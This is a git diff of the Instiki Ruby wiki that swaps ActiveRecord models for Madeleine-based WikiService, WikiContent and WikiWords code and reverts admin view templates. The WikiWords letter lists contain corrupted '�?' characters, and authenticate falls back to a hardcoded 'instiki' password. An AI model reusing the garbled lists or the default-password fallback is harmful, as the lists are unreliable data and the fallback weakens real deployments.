-  def edit_web(old_address, new_address, name, markup, color, additional_style, safe_mode = false, 
-      password = nil, published = false, brackets_only = false, count_pages = false, 
-      allow_uploads = true, max_upload_size = nil)
-
-    if not (web = Web.find_by_address(old_address))
-      raise Instiki::ValidationError.new("Web with address '#{old_address}' does not exist")
-    end
-    old_files_path = web.files_path
-    
-    web.update_attributes(:address => new_address, :name => name, :markup => markup, :color => color, 
-      :additional_style => additional_style, :safe_mode => safe_mode, :password => password, :published => published,
-      :brackets_only => brackets_only, :count_pages => count_pages, :allow_uploads => allow_uploads, :max_upload_size => max_upload_size)
-    @webs = nil
-    raise Instiki::ValidationError.new("There is already a web with address '#{new_address}'") unless web.errors.on(:address).nil?
-    web
-    move_files(old_files_path, web.files_path)
-  end
-  
-  def move_files(old_path, new_path)
-    return if new_path == old_path
-    default_path = Rails.root.join("webs", "files")
-    FileUtils.rmdir(new_path) if File.exist?(new_path)
-    if [old_path, new_path].include? default_path
-      File.rename(old_path, new_path)
-      FileUtils.rmdir(old_path.parent) unless old_path == default_path
-    else
-      File.rename(old_path.parent, new_path.parent)
-    end
-   end
-
-  def read_page(web_address, page_name)
-    ApplicationController.logger.debug "Reading page '#{page_name}' from web '#{web_address}'"
-    web = Web.find_by_address(web_address)
-    if web.nil?
-      ApplicationController.logger.debug "Web '#{web_address}' not found"
-      return nil
-    else
-      page = web.pages.first(:conditions => ['name = ?', page_name])
-      ApplicationController.logger.debug "Page '#{page_name}' #{page.nil? ? 'not' : ''} found"
-      return page
-    end
-  end
-  
-  def remove_orphaned_pages(web_address)
-    web = Web.find_by_address(web_address)
-    web.remove_pages(web.select.orphaned_pages)
-  end
-  
-  def remove_orphaned_pages_in_category(web_address,category)
-    web = Web.find_by_address(web_address)
-    pages_in_category = PageSet.new(web, web.select.pages_in_category(category))
-    web.remove_pages(pages_in_category.orphaned_pages)
-  end
-
-  def revise_page(web_address, page_name, new_name, content, revised_at, author, renderer)
-    page = read_page(web_address, page_name)
-    page.revise(content, new_name, revised_at, author, renderer)
-  end
-
-  def rollback_page(web_address, page_name, revision_number, time, author_id = nil)
-    page = read_page(web_address, page_name)
-    page.rollback(revision_number, time, author_id)
-  end
-  
-  def setup(password, web_name, web_address)
-    system.update_attribute(:password, password)
-    create_web(web_name, web_address)
-  end
-
-  def system
-    @system ||= (System.first() || System.create)
-  end
-
-  def setup?
-    Web.count > 0
-  end
-
-  def webs
-    @webs ||= Web.all.inject({}) { |webs, web| webs.merge(web.address => web) }
-  end
-
-  def storage_path
-    self.class.storage_path
-  end
-  
-  def write_page(web_address, page_name, content, written_on, author, renderer)
-    Web.find_by_address(web_address).add_page(page_name, content, written_on, author, renderer)
-  end
-end
diff --git a/app/models/wiki_content.rb b/app/models/wiki_content.rb
new file mode 100644
index 00000000..ca8de5fa
--- /dev/null
+++ b/app/models/wiki_content.rb
@@ -0,0 +1,209 @@
+require 'cgi'
+require 'chunks/engines'
+require 'chunks/category'
+require 'chunks/include'
+require 'chunks/wiki'
+require 'chunks/literal'
+require 'chunks/uri'
+require 'chunks/nowiki'
+
+# Wiki content is just a string that can process itself with a chain of
+# actions. The actions can modify wiki content so that certain parts of
+# it are protected from being rendered by later actions.
+#
+# When wiki content is rendered, it can be interrogated to find out 
+# which chunks were rendered. This means things like categories, wiki 
+# links, can be determined.
+#
+# Exactly how wiki content is rendered is determined by a number of 
+# settings that are optionally passed in to a constructor. The current
+# options are:
+#  * :engine 
+#    => The structural markup engine to use (Textile, Markdown, RDoc)
+#  * :engine_opts
+#    => A list of options to pass to the markup engines (safe modes, etc)
+#  * :pre_engine_actions
+#    => A list of render actions or chunks to be processed before the
+#       markup engine is applied. By default this is:    
+#       Category, Include, URIChunk, WikiChunk::Link, WikiChunk::Word        
+#  * :post_engine_actions
+#    => A list of render actions or chunks to apply after the markup 
+#       engine. By default these are:    
+#       Literal::Pre, Literal::Tags
+#  * :mode
+#    => How should the content be rendered? For normal display (show), 
+#       publishing (:publish) or export (:export)?
+
+module ChunkManager
+  attr_reader :chunks_by_type, :chunks_by_id, :chunks, :chunk_id
+  
+  ACTIVE_CHUNKS = [ NoWiki, Category, WikiChunk::Link, URIChunk, LocalURIChunk, 
+                    WikiChunk::Word ] 
+
+  HIDE_CHUNKS = [ Literal::Pre, Literal::Tags ]
+
+  MASK_RE = { 
+    ACTIVE_CHUNKS => Chunk::Abstract.mask_re(ACTIVE_CHUNKS),
+    HIDE_CHUNKS => Chunk::Abstract.mask_re(HIDE_CHUNKS)
+  }
+  
+  def init_chunk_manager
+    @chunks_by_type = Hash.new
+    Chunk::Abstract::derivatives.each{|chunk_type| 
+      @chunks_by_type[chunk_type] = Array.new 
+    }
+    @chunks_by_id = Hash.new
+    @chunks = []
+    @chunk_id = 0
+  end
+
+  def add_chunk(c)
+      @chunks_by_type[c.class] << c
+      @chunks_by_id[c.id] = c
+      @chunks << c
+      @chunk_id += 1
+  end
+
+  def delete_chunk(c)
+    @chunks_by_type[c.class].delete(c)
+    @chunks_by_id.delete(c.id)
+    @chunks.delete(c)
+  end
+
+  def merge_chunks(other)
+    other.chunks.each{|c| add_chunk(c)}
+  end
+
+  def scan_chunkid(text)
+    text.scan(MASK_RE[ACTIVE_CHUNKS]){|a| yield a[0] }
+  end
+  
+  def find_chunks(chunk_type)
+    @chunks.select { |chunk| chunk.kind_of?(chunk_type) and chunk.rendered? }
+  end
+
+  # for testing and WikiContentStub; we need a page_id even if we have no page
+  def page_id
+    0
+  end
+
+end
+
+# A simplified version of WikiContent. Useful to avoid recursion problems in 
+# WikiContent.new
+class WikiContentStub < String
+  attr_reader :options
+  include ChunkManager
+  def initialize(content, options)
+    super(content)
+    @options = options
+    init_chunk_manager
+  end
+
+  # Detects the mask strings contained in the text of chunks of type chunk_types
+  # and yields the corresponding chunk ids
+  # example: content = "chunk123categorychunk <pre>chunk456categorychunk</pre>" 
+  # inside_chunks([Literal::Pre]) ==> yield 456
+  def inside_chunks(chunk_types)
+    chunk_types.each { |chunk_type| chunk_type.apply_to(self) }
+    
+    chunk_types.each { |chunk_type| @chunks_by_type[chunk_type].each { |chunk|
+        scan_chunkid(chunk.text) { |id| 
+          yield id 
+        }
+      }
+    }
+  end
+end
+
+class WikiContent < String
+
+  include ChunkManager
+
+  DEFAULT_OPTS = {
+    :active_chunks       => ACTIVE_CHUNKS,
+    :engine              => Engines::Textile,
+    :engine_opts         => [],
+    :mode                => :show
+  }.freeze
+
+  attr_reader :web, :options, :revision, :not_rendered, :pre_rendered
+
+  # Create a new wiki content string from the given one.
+  # The options are explained at the top of this file.
+  def initialize(revision, options = {})
+    @revision = revision
+    @web = @revision.page.web
+
+    @options = DEFAULT_OPTS.dup.merge(options)
+    @options[:engine] = Engines::MAP[@web.markup] 
+    @options[:engine_opts] = [:filter_html, :filter_styles] if @web.safe_mode
+    @options[:active_chunks] -= [WikiChunk::Word] if @web.brackets_only
+    
+    @not_rendered = @pre_rendered = nil
+    
+    super(@revision.content)
+    init_chunk_manager
+    build_chunks
+    @not_rendered = String.new(self)
+  end
+
+  # Call @web.page_link using current options.
+  def page_link(name, text, link_type)
+    @options[:link_type] = (link_type || :show)
+    @web.make_link(name, text, @options)
+  end
+
+  def build_chunks
+    # create and mask Includes and "active_chunks" chunks
+    Include.apply_to(self)
+    @options[:active_chunks].each{|chunk_type| chunk_type.apply_to(self)}
+
+    # Handle hiding contexts like "pre" and "code" etc..
+    # The markup (textile, rdoc etc) can produce such contexts with its own syntax.
+    # To reveal them, we work on a copy of the content.
+    # The copy is rendered and used to detect the chunks that are inside protecting context  
+    # These chunks are reverted on the original content string.
+
+    copy = WikiContentStub.new(self, @options)
+    @options[:engine].apply_to(copy)
+
+    copy.inside_chunks(HIDE_CHUNKS) do |id|
+      # Some markup engines can replicate parts of content while converting to HTML 
+      # Hence the if in the below line
+      @chunks_by_id[id].revert if @chunks_by_id.key?(id)
+    end
+  end
+
+  def pre_render!
+    unless @pre_rendered 
+      @chunks_by_type[Include].each{|chunk| chunk.unmask }
+      @pre_rendered = String.new(self)
+    end
+    @pre_rendered 
+  end
+
+  def render!
+    pre_render!
+    @options[:engine].apply_to(self)
+    # unmask in one go. $~[1] is the chunk id
+    gsub!(MASK_RE[ACTIVE_CHUNKS]){ 
+      if chunk = @chunks_by_id[$~[1]]
+        chunk.unmask_text 
+        # if we match a chunkmask that existed in the original content string
+        # just keep it as it is
+      else 
+        $~[0]
+      end}
+    self
+  end
+
+  def page_name
+    @revision.page.name
+  end
+
+  def page_id
+    @revision.page.id
+  end
+
+end
diff --git a/app/models/wiki_file.rb b/app/models/wiki_file.rb
deleted file mode 100644
index 81b48092..00000000
--- a/app/models/wiki_file.rb
+++ /dev/null
@@ -1,66 +0,0 @@
-class WikiFile < ActiveRecord::Base
-  belongs_to :web
-  
-  before_save :write_content_to_file
-  before_destroy :delete_content_file        
-  
-  validates_presence_of %w( web file_name )
-  validates_length_of :file_name, :within=>1..50
-  validates_length_of :description, :maximum=>255
-
-  def self.find_by_file_name(file_name)
-    first(:conditions => ['file_name = ?', file_name])
-  end
-
-  def validate
-    if file_name 
-      if ! WikiFile.is_valid?(file_name)
-        errors.add("file_name", "is invalid. Only latin characters, digits, dots, underscores, " +
-           "dashes and spaces are accepted")
-      elsif file_name == '.' or file_name == '..'
-        errors.add("file_name", "cannot be '.' or '..'")
-      end
-    end
-    
-    if @web and @content
-      if (@content.size > @web.max_upload_size.kilobytes)
-        errors.add("content", "size (#{(@content.size / 1024.0).round} kilobytes) exceeds " +
-            "the maximum (#{web.max_upload_size} kilobytes) set for this wiki")
-      end
-    end
-    
-    errors.add("content", "is empty") if @content.nil? or @content.empty?
-  end
-  
-  def content=(content)
-    if content.respond_to? :read
-      @content = content.read
-    else
-      @content = content
-    end
-  end
-  
-  def content
-    @content ||= ( File.open(content_path, 'rb') { |f| f.read } )
-  end
-  
-  def content_path
-    web.files_path.join(file_name)
-  end
-  
-  def write_content_to_file
-    web.create_files_directory unless File.exists?(web.files_path)
-    File.open(self.content_path, 'wb') { |f| f.write(@content) }
-  end
-  
-  def delete_content_file
-    require 'fileutils'
-    FileUtils.rm_f(content_path) if File.exists?(content_path)
-  end
-
-  SANE_FILE_NAME = /^[a-zA-Z0-9\-_\. ]*$/  
-  def self.is_valid?(name)
-    name =~ SANE_FILE_NAME
-  end
-  
-end
diff --git a/app/models/wiki_reference.rb b/app/models/wiki_reference.rb
deleted file mode 100644
index 4a626364..00000000
--- a/app/models/wiki_reference.rb
+++ /dev/null
@@ -1,139 +0,0 @@
-class WikiReference < ActiveRecord::Base
-
-  LINKED_PAGE = 'L'
-  WANTED_PAGE = 'W'
-  REDIRECTED_PAGE = 'R'
-  INCLUDED_PAGE = 'I'
-  CATEGORY = 'C'
-  AUTHOR = 'A'
-  FILE = 'F'
-  WANTED_FILE = 'E'
-
-  belongs_to :page
-  validates_inclusion_of :link_type, :in => [LINKED_PAGE, WANTED_PAGE, REDIRECTED_PAGE, INCLUDED_PAGE, CATEGORY, AUTHOR, FILE, WANTED_FILE]
-
-  def referenced_name
-    read_attribute(:referenced_name).as_utf8
-  end
-
-  def self.link_type(web, page_name)
-    if web.has_page?(page_name) || self.page_that_redirects_for(web, page_name)
-      LINKED_PAGE
-    else
-      WANTED_PAGE
-    end
-  end
-
-  def self.pages_that_reference(web, page_name)
-    query = 'SELECT name FROM pages JOIN wiki_references ' +
-      'ON pages.id = wiki_references.page_id ' +
-      'WHERE wiki_references.referenced_name = ? ' +
-      "AND wiki_references.link_type in ('#{LINKED_PAGE}', '#{WANTED_PAGE}', '#{INCLUDED_PAGE}') " +
-      "AND pages.web_id = '#{web.id}'"
-    names = connection.select_all(sanitize_sql([query, page_name])).map { |row| row['name'] }
-  end
-
-  def self.pages_that_link_to(web, page_name)
-    query = 'SELECT name FROM pages JOIN wiki_references ' +
-      'ON pages.id = wiki_references.page_id ' +
-      'WHERE wiki_references.referenced_name = ? ' +
-      "AND wiki_references.link_type in ('#{LINKED_PAGE}','#{WANTED_PAGE}') " +
-      "AND pages.web_id = '#{web.id}'"
-    names = connection.select_all(sanitize_sql([query, page_name])).map { |row| row['name'] }
-  end
-  
-  def self.pages_that_link_to_file(web, file_name)
-    query = 'SELECT name FROM pages JOIN wiki_references ' +
-      'ON pages.id = wiki_references.page_id ' +
-      'WHERE wiki_references.referenced_name = ? ' +
-      "AND wiki_references.link_type in ('#{FILE}','#{WANTED_FILE}') " +
-      "AND pages.web_id = '#{web.id}'"
-    names = connection.select_all(sanitize_sql([query, file_name])).map { |row| row['name'] }
-  end
-  
-  def self.pages_that_include(web, page_name)
-    query = 'SELECT name FROM pages JOIN wiki_references ' +
-      'ON pages.id = wiki_references.page_id ' +
-      'WHERE wiki_references.referenced_name = ? ' +
-      "AND wiki_references.link_type = '#{INCLUDED_PAGE}' " +
-      "AND pages.web_id = '#{web.id}'"
-    names = connection.select_all(sanitize_sql([query, page_name])).map { |row| row['name'] }
-  end
-
-  def self.pages_redirected_to(web, page_name)
-    names = []
-    redirected_pages = []
-    page = web.page(page_name)
-    redirected_pages.concat page.redirects
-    redirected_pages.concat Thread.current[:page_redirects][page] if
-            Thread.current[:page_redirects] && Thread.current[:page_redirects][page]
-    redirected_pages.uniq.each { |name| names.concat self.pages_that_reference(web, name) }
-    names.uniq    
-  end
-
-  def self.page_that_redirects_for(web, page_name)
-    query = 'SELECT name FROM pages JOIN wiki_references ' +
-      'ON pages.id = wiki_references.page_id ' +
-      'WHERE wiki_references.referenced_name = ? ' +
-      "AND wiki_references.link_type = '#{REDIRECTED_PAGE}' " +
-      "AND pages.web_id = '#{web.id}'"
-    row = connection.select_one(sanitize_sql([query, page_name]))
-    row['name'].as_utf8 if row
-  end
-
-  def self.pages_in_category(web, category)
-    query = 
-      "SELECT name FROM pages JOIN wiki_references " +
-      "ON pages.id = wiki_references.page_id " +
-      "WHERE wiki_references.referenced_name = ? " +
-      "AND wiki_references.link_type = '#{CATEGORY}' " +
-      "AND pages.web_id = '#{web.id}'"
-    names = connection.select_all(sanitize_sql([query, category])).map { |row| row['name'].as_utf8 }
-  end
-  
-  def self.list_categories(web)
-    query = "SELECT DISTINCT wiki_references.referenced_name " +
-      "FROM wiki_references LEFT OUTER JOIN pages " +
-      "ON wiki_references.page_id = pages.id " +
-      "WHERE wiki_references.link_type = '#{CATEGORY}' " +
-      "AND pages.web_id = '#{web.id}'"
-    connection.select_all(query).map { |row| row['referenced_name'].as_utf8 }
-  end
-
-  def wiki_word?
-    linked_page? or wanted_page?
-  end
-
-  def wiki_link?
-    linked_page? or wanted_page? or file? or wanted_file?
-  end
-
-  def linked_page?
-    link_type == LINKED_PAGE
-  end
-
-  def redirected_page?
-    link_type == REDIRECTED_PAGE
-  end
-
-  def wanted_page?
-    link_type == WANTED_PAGE
-  end
-
-  def included_page?
-    link_type == INCLUDED_PAGE
-  end
-  
-  def file?
-    link_type == FILE
-  end
-  
-  def wanted_file?
-    link_type == WANTED_FILE
-  end
-
-  def category?
-    link_type == CATEGORY
-  end
-
-end
diff --git a/app/models/wiki_service.rb b/app/models/wiki_service.rb
new file mode 100644
index 00000000..6c8c683b
--- /dev/null
+++ b/app/models/wiki_service.rb
@@ -0,0 +1,259 @@
+require 'open-uri'
+require 'yaml'
+require 'madeleine'
+require 'madeleine/automatic'
+require 'madeleine/zmarshal'
+
+require 'web'
+require 'page'
+require 'author'
+require 'file_yard'
+require 'instiki_errors'
+
+module AbstractWikiService
+
+  attr_reader :webs, :system
+
+  def authenticate(password)
+    # system['password'] variant is for compatibility with storages from older versions
+    password == (@system[:password] || @system['password'] || 'instiki')
+  end
+
+  def create_web(name, address, password = nil)
+    @webs[address] = Web.new(self, name, address, password) unless @webs[address]
+  end
+
+  def delete_web(address)
+    @webs[address] = nil
+  end
+
+  def file_yard(web)
+    raise "Web #{@web.name} does not belong to this wiki service" unless @webs.values.include?(web)
+    # TODO cache FileYards
+    FileYard.new("#{self.storage_path}/#{web.address}", web.max_upload_size)
+  end
+
+  def init_wiki_service
+    @webs = {}
+    @system = {}
+  end
+  
+  def edit_web(old_address, new_address, name, markup, color, additional_style, safe_mode = false, 
+      password = nil, published = false, brackets_only = false, count_pages = false, 
+      allow_uploads = true, max_upload_size = nil)
+
+    if not @webs.key? old_address
+      raise Instiki::ValidationError.new("Web with address '#{old_address}' does not exist")
+    end
+
+    if old_address != new_address
+      if @webs.key? new_address
+        raise Instiki::ValidationError.new("There is already a web with address '#{new_address}'")
+      end
+      @webs[new_address] = @webs[old_address]
+      @webs.delete(old_address)
+      @webs[new_address].address = new_address
+    end
+
+    web = @webs[new_address]
+    web.refresh_revisions if settings_changed?(web, markup, safe_mode, brackets_only)
+
+    web.name, web.markup, web.color, web.additional_style, web.safe_mode = 
+      name, markup, color, additional_style, safe_mode
+
+    web.password, web.published, web.brackets_only, web.count_pages =
+      password, published, brackets_only, count_pages, allow_uploads
+    web.allow_uploads, web.max_upload_size = allow_uploads, max_upload_size.to_i
+  end
+
+  def read_page(web_address, page_name)
+    ApplicationController.logger.debug "Reading page '#{page_name}' from web '#{web_address}'"
+    web = @webs[web_address]
+    if web.nil?
+      ApplicationController.logger.debug "Web '#{web_address}' not found"
+      return nil
+    else
+      page = web.pages[page_name]
+      ApplicationController.logger.debug "Page '#{page_name}' #{page.nil? ? 'not' : ''} found"
+      return page
+    end
+  end
+
+  def remove_orphaned_pages(web_address)
+    @webs[web_address].remove_pages(@webs[web_address].select.orphaned_pages)
+  end
+  
+  def revise_page(web_address, page_name, content, revised_on, author)
+    page = read_page(web_address, page_name)
+    page.revise(content, revised_on, author)
+  end
+
+  def rollback_page(web_address, page_name, revision_number, created_at, author_id = nil)
+    page = read_page(web_address, page_name)
+    page.rollback(revision_number, created_at, author_id)
+  end
+  
+  def setup(password, web_name, web_address)
+    @system[:password] = password
+    create_web(web_name, web_address)
+  end
+
+  def setup?
+    not (@webs.empty?)
+  end
+
+  def storage_path
+    self.class.storage_path
+  end
+  
+  def write_page(web_address, page_name, content, written_on, author)
+    @webs[web_address].add_page(page_name, content, written_on, author)
+  end
+
+  private
+    def settings_changed?(web, markup, safe_mode, brackets_only)
+      web.markup != markup || 
+      web.safe_mode != safe_mode || 
+      web.brackets_only != brackets_only
+    end
+end
+
+class WikiService
+
+  include AbstractWikiService
+  include Madeleine::Automatic::Interceptor
+  
+  # These methods do not change the state of persistent objects, and 
+  # should not be logged by Madeleine
+  automatic_read_only :authenticate, :read_page, :setup?, :webs, :storage_path, :file_yard
+
+  @@storage_path = './storage/'
+
+  class << self
+
+    def check_snapshot_thread
+      # @madeleine may not be initialised in unit tests, and in such case there is no need to do anything
+      @madeleine.check_snapshot_thread unless @madeleine.nil?
+    end
+  
+    def clean_storage
+      MadeleineServer.clean_storage(self)
+    end
+
+    # One interesting property of Madeleine as persistence mechanism is that it saves 
+    # (and restores) the whole ObjectSpace. And in there, storage from older version may contain 
+    # who knows what in temporary variables, such as caches of various kinds.
+    # The reason why it is nearly impossible to control is that there may be bugs, people may 
+    # use modified versions of things, etc etc etc
+    # Therefore, upon loading the storage from a file, it is a good idea to clear all such 
+    # variables. It would be better yet if Madeleine could be somehow instructed not to save that 
+    # data in a snapshot at all. Alas, such a feature is not presently available.
+    def clear_all_caches
+      return if @system.webs.nil?
+      @system.webs.each_value do |web|
+        next if web.nil? or web.pages.nil?
+        web.pages.each_value do |page|
+          next if page.nil? or page.revisions.nil?
+          page.revisions.each { |revision| revision.clear_display_cache }
+        end
+      end
+    end
+
+    def instance
+      @madeleine ||= MadeleineServer.new(self)
+      @system = @madeleine.system
+      clear_all_caches
+      return @system
+    end
+
+    def snapshot
+      @madeleine.snapshot
+    end
+    
+    def storage_path=(storage_path)
+      @@storage_path = storage_path
+    end
+
+    def storage_path
+      @@storage_path
+    end
+  
+  end
+
+  def initialize
+    init_wiki_service
+  end
+
+end
+
+class MadeleineServer
+
+  attr_reader :storage_path
+
+  # Clears all the command_log and snapshot files located in the storage directory, so the
+  # database is essentially dropped and recreated as blank
+  def self.clean_storage(service)
+    begin 
+      Dir.foreach(service.storage_path) do |file|
+        if file =~ /(command_log|snapshot)$/
+          File.delete(File.join(service.storage_path, file))
+        end
+      end
+    rescue
+      Dir.mkdir(service.storage_path)
+    end
+  end
+
+  def initialize(service)
+    @storage_path = service.storage_path
+    @server = Madeleine::Automatic::AutomaticSnapshotMadeleine.new(service.storage_path, 
+      Madeleine::ZMarshal.new) {
+      service.new
+    }
+    @snapshoot_thread_running = false
+  end
+
+  def command_log_present?
+    not Dir[storage_path + '/*.command_log'].empty?
+  end
+
+  def snapshot
+    @server.take_snapshot
+  end
+  
+  def check_snapshot_thread
+    start_snapshot_thread unless @snapshoot_thread_running
+  end
+  
+  def start_snapshot_thread
+    @snapshoot_thread_running = true
+    Thread.new(@server) {
+      hours_since_last_snapshot = 0
+      while true
+        begin
+          hours_since_last_snapshot += 1
+          # Take a snapshot if there is a command log, or 24 hours 
+          # have passed since the last snapshot
+          if command_log_present? or hours_since_last_snapshot >= 24 
+            ActionController::Base.logger.info "[#{Time.now.strftime('%Y-%m-%d %H:%M:%S')}] " +
+              'Taking a Madeleine snapshot'
+            snapshot
+            hours_since_last_snapshot = 0
+          end
+          sleep(1.hour)
+        rescue => e
+          ActionController::Base.logger.error(e)
+          # wait for a minute (not to spoof the log with the same error)
+          # and go back into the loop, to keep trying
+          sleep(1.minute)
+          ActionController::Base.logger.info("Retrying to save a snapshot")
+        end
+      end
+    }
+  end
+
+  def system
+    @server.system
+  end
+  
+end
diff --git a/app/models/wiki_words.rb b/app/models/wiki_words.rb
new file mode 100644
index 00000000..8f2b154f
--- /dev/null
+++ b/app/models/wiki_words.rb
@@ -0,0 +1,23 @@
+# Contains all the methods for finding and replacing wiki words
+module WikiWords
+  # In order of appearance: Latin, greek, cyrillian, armenian
+  I18N_HIGHER_CASE_LETTERS =
+    "À�?ÂÃÄÅĀĄĂÆÇĆČĈĊĎ�?ÈÉÊËĒĘĚĔĖĜĞĠĢĤĦÌ�?Î�?ĪĨĬĮİIJĴĶ�?ĽĹĻĿÑŃŇŅŊÒÓÔÕÖØŌ�?ŎŒŔŘŖŚŠŞŜȘŤŢŦȚÙÚÛÜŪŮŰŬŨŲŴ�?ŶŸŹŽŻ" + 
+    "ΑΒΓΔΕΖΗΘΙΚΛΜ�?ΞΟΠΡΣΤΥΦΧΨΩ" + 
+    "ΆΈΉΊΌΎ�?ѠѢѤѦѨѪѬѮѰѲѴѶѸѺѼѾҀҊҌҎ�?ҒҔҖҘҚҜҞҠҢҤҦҨҪҬҮҰҲҴҶҸҺҼҾ�?ӃӅӇӉӋ�?�?ӒӔӖӘӚӜӞӠӢӤӦӨӪӬӮӰӲӴӸЖ" +
+    "ԱԲԳԴԵԶԷԸԹԺԻԼԽԾԿՀ�?ՂՃՄՅՆՇՈՉՊՋՌ�?�?�?ՑՒՓՔՕՖ"
+
+  I18N_LOWER_CASE_LETTERS =
+    "àáâãäå�?ąăæçć�?ĉċ�?đèéêëēęěĕėƒ�?ğġģĥħìíîïīĩĭįıijĵķĸłľĺļŀñńňņʼnŋòóôõöø�?ő�?œŕřŗśšş�?șťţŧțùúûüūůűŭũųŵýÿŷžżźÞþßſ�?ð" +
+    "άέήίΰαβγδεζηθικλμνξοπ�?ςστυφχψωϊϋό�?ώ�?" +
+    "абвгдежзийклмнопр�?туфхцчшщъыь�?ю�?�?ёђѓєѕіїјљћќ�?ўџѡѣѥѧѩѫѭѯѱѳѵѷѹѻѽѿ�?ҋ�?�?ґғҕҗҙқ�?ҟҡңҥҧҩҫҭүұҳҵҷҹһҽҿӀӂӄӆӈӊӌӎӑӓӕӗәӛ�?ӟӡӣӥӧөӫӭӯӱӳӵӹ" +
+    "աբգդեզէըթժիլխծկհձղճմյնշոչպջռսվտր�?ւփքօֆև"
+
+  WIKI_WORD_PATTERN = '[A-Z' + I18N_HIGHER_CASE_LETTERS + '][a-z' + I18N_LOWER_CASE_LETTERS + ']+[A-Z' + I18N_HIGHER_CASE_LETTERS + ']\w+'
+  CAMEL_CASED_WORD_BORDER = /([a-z#{I18N_LOWER_CASE_LETTERS}])([A-Z#{I18N_HIGHER_CASE_LETTERS}])/u
+
+  def self.separate(wiki_word)
+    wiki_word.gsub(CAMEL_CASED_WORD_BORDER, '\1 \2')
+  end
+
+end
diff --git a/app/views/admin/create_system.rhtml b/app/views/admin/create_system.rhtml
index af61a060..77f8a316 100644
--- a/app/views/admin/create_system.rhtml
+++ b/app/views/admin/create_system.rhtml
@@ -1,4 +1,4 @@
-<%- @title = "Instiki Setup"; @content_width = 500 -%>
+<% @title = "Instiki Setup"; @content_width = 500 %>
 
 <p>
   Congratulations on succesfully installing and starting Instiki. 
@@ -6,9 +6,8 @@
   you'll need to do a brief one-time setup.
 </p>
 
-<% form_tag({ :controller => 'admin', :action => 'create_system' },
-             { 'id' => 'setup', 'method' => 'post', 'onsubmit' => 'return validateSetup()', 
-               'accept-charset' => 'utf-8' }) do
+<%= form_tag({ :controller => 'admin', :action => 'create_system'},
+             {'id' => 'setup', 'method' => 'post', 'onSubmit' => 'return validateSetup()'})
 %>
 <ol class="setup">
   <li>
@@ -21,10 +20,10 @@
       The address can only consist of letters and digits.
     </div>
     <div class="inputBox">
-      <label for="web_name">Name:</label> <input type="text" id="web_name" name="web_name" value="Wiki" 
-            onchange="proposeAddress();" onclick="this.value == 'Wiki' ? this.value = '' : true" /> 
-      &#xa0;&#xa0;
-      <label for="web_address">Address:</label> <input type="text" id="web_address" name="web_address" onchange="cleanAddress();"
+      Name: <input type="text" id="web_name" name="web_name" value="Wiki" 
+            onChange="proposeAddress();" onClick="this.value == 'Wiki' ? this.value = '' : true" /> 
+      &nbsp;&nbsp;
+      Address: <input type="text" id="web_address" name="web_address" onChange="cleanAddress();"
                value="wiki" />
     </div>
   </li>
@@ -32,23 +31,23 @@
   <li>
     <h2 style="margin-bottom: 3px">Password for creating and changing webs</h2>
     <div class="help">
-      Administrative access allows you to make new webs and change existing ones.
+      Administrative access allows you to make new webs and change existing ones.<br/>
+      Everyone with this password will be able to do this, so pick it carefully.
     </div>
-    <div class="help"><em>Everyone with this password will be able to do this, so pick it carefully!</em></div>
     <div class="inputBox">
-      <label for="password">Password:</label> <input type="password" id="password" name="password" />
-      &#xa0;&#xa0;
-      <label for="password_check">Verify:</label> <input type="password" id="password_check" name="password_check" />
+      Password: <input type="password" id="password" name="password" />
+      &nbsp;&nbsp;
+      Verify: <input type="password" id="password_check" name="password_check" />
     </div>
   </li>
 </ol>
 
-<p style="text-align:right">
+<p align="right">
     <input type="submit" value="Setup" style="margin-left: 40px" />
 </p>
-<% end %>
+<%= end_form_tag %>
 
-<script type="text/javascript">
+<script>
 function proposeAddress() {
   document.getElementById('web_address').value =
     document.getElementById('web_name').value.replace(/[^a-zA-Z0-9]/g, "").toLowerCase();
diff --git a/app/views/admin/create_web.rhtml b/app/views/admin/create_web.rhtml
index eda68cfb..e1e72b1d 100644
--- a/app/views/admin/create_web.rhtml
+++ b/app/views/admin/create_web.rhtml
@@ -1,14 +1,12 @@
-<%- @title = "New Wiki Web"; @content_width = 500 -%>
+<% @title = "New Wiki Web"; @content_width = 500 %>
 
 <p>
   Each web serves as an isolated name space for wiki pages, 
   so different subjects or projects can write about different <i>MuppetShows</i>.
 </p>
 
-<% form_tag({ :controller => 'admin', :action => 'create_web' },
-             { 'id' => 'setup', 'method' => 'post', 
-               'onsubmit' => 'cleanAddress(); return validateSetup()',
-               'accept-charset' => 'utf-8' }) do
+<%= form_tag({ :controller => 'admin', :action => 'create_web'},
+             {'id' => 'setup', 'method' => 'post', 'onSubmit' => 'cleanAddress(); return validateSetup()'})
 %>
 
 <ol class="setup">
@@ -21,24 +19,26 @@
       The address can only consist of letters and digits.
     </div>
     <div class="inputBox">
-      <label for="web_name">Name:</label> <input type="text" id="web_name" name="name" onchange="proposeAddress();" />
-      &#xa0;&#xa0;
-      <label for="web_address">Address:</label> <input type="text" id="web_address" name="address" onchange="cleanAddress();" />
+      Name: <input type="text" id="web_name" name="name" onChange="proposeAddress();" />
+      &nbsp;&nbsp;
+      Address: <input type="text" id="web_address" name="address" onChange="cleanAddress();" />
     </div>
   </li>
 </ol>
 
 
-<p style="text-align:right;font-size:.85em;">
-    <label for="system_password">Enter system password</label>
+<p align="right">
+  <small>
+    Enter system password
     <input type="password" id="system_password" name="system_password" />
     and
     <input type="submit" value="Create Web" />
+  </small>
 </p>
 
-<%- end -%>
+<%= end_form_tag %>
 
-<script type="text/javascript">
+<script>
 function proposeAddress() {
   document.getElementById('web_address').value =
     document.getElementById('web_name').value.replace(/[^a-zA-Z0-9]/g, "").toLowerCase();
diff --git a/app/views/admin/edit_web.rhtml b/app/views/admin/edit_web.rhtml
index e42df362..558ef68a 100644
--- a/app/views/admin/edit_web.rhtml
+++ b/app/views/admin/edit_web.rhtml
@@ -1,9 +1,7 @@
-<%- @title = "Edit Web" -%>
+<% @title = "Edit Web" %>
 
-<% form_tag({ :controller => 'admin', :action => 'edit_web', :web => @web.address },
-             { 'id' => 'setup', 'method' => 'post', 
-               'onsubmit' => 'cleanAddress(); return validateSetup()',
-               'accept-charset' => 'utf-8' }) do
+<%= form_tag({ :controller => 'admin', :action => 'edit_web', :web => @web.address },
+             {'id' => 'setup', 'method' => 'post', 'onSubmit' => 'cleanAddress(); return validateSetup()'})
 %>
 
   <h2 style="margin-bottom: 3px">Name and address</h2>
@@ -13,70 +11,71 @@
     Ex: the address "rails" gives URLs like <i>/rails/show/HomePage</i>.
   </div>
 
-  <div class="inputBox">
-    <label for ="name">Name:</label> <input type="text" id="name" name="name" class="disableAutoComplete" value="<%= @web.name %>" 
